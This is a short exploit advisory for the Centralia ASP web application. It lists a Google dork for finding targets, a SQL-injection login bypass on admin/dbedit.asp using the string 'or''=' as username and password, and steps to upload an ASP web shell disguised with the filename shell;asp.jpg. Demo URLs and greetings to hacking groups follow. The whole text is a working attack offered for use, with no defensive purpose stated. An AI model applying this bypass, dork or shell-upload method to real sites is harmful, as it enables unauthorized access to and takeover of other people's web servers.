inurl:showcat.asp?id=
========================================
Centralia (admin/dbedit.asp?) Bypass and Shell Upload Vulnerability
========================================
#################################################################
# Exploit : Centralia (admin/dbedit.asp?) Bypass and File Upload Vulnerability
# Date : 10 December 2010
# Author : ali.erroor
# Version : n/a
# Googel DorK : inurl:showcat.asp?id=
# Home : www.network-security.ir
# Email : ali.erroor@att.net
#################################################################
[+] Exploit
[1] Centralia (admin/dbedit.asp?) Bypass and File Upload Vulnerability..
[-] http://localhost/path/admin/dbedit.asp?table=products
[-] username : 'or''='
[-] password : 'or''='
[2] Create New Upload Your Shell.Asp ..
[-] http://localhost/path/admin/dbedit.asp?a=upload_init
[3] To See Shell Edit Your uploads
[-] http://localhost/path/uploads/shell;asp.jpg
[+] Demo
[-] http://server/admin/dbedit.asp?table=products
[-] http://server/admin/dbedit.asp?a=upload_init
#################################################################
Great 2 : : h4m1d /sheisebaboo / vc.emliter / H-SK33PY / Net.Editor / HUrr!c4nE
/ Cair3x /novin security team and all iranian hackers
#################################################################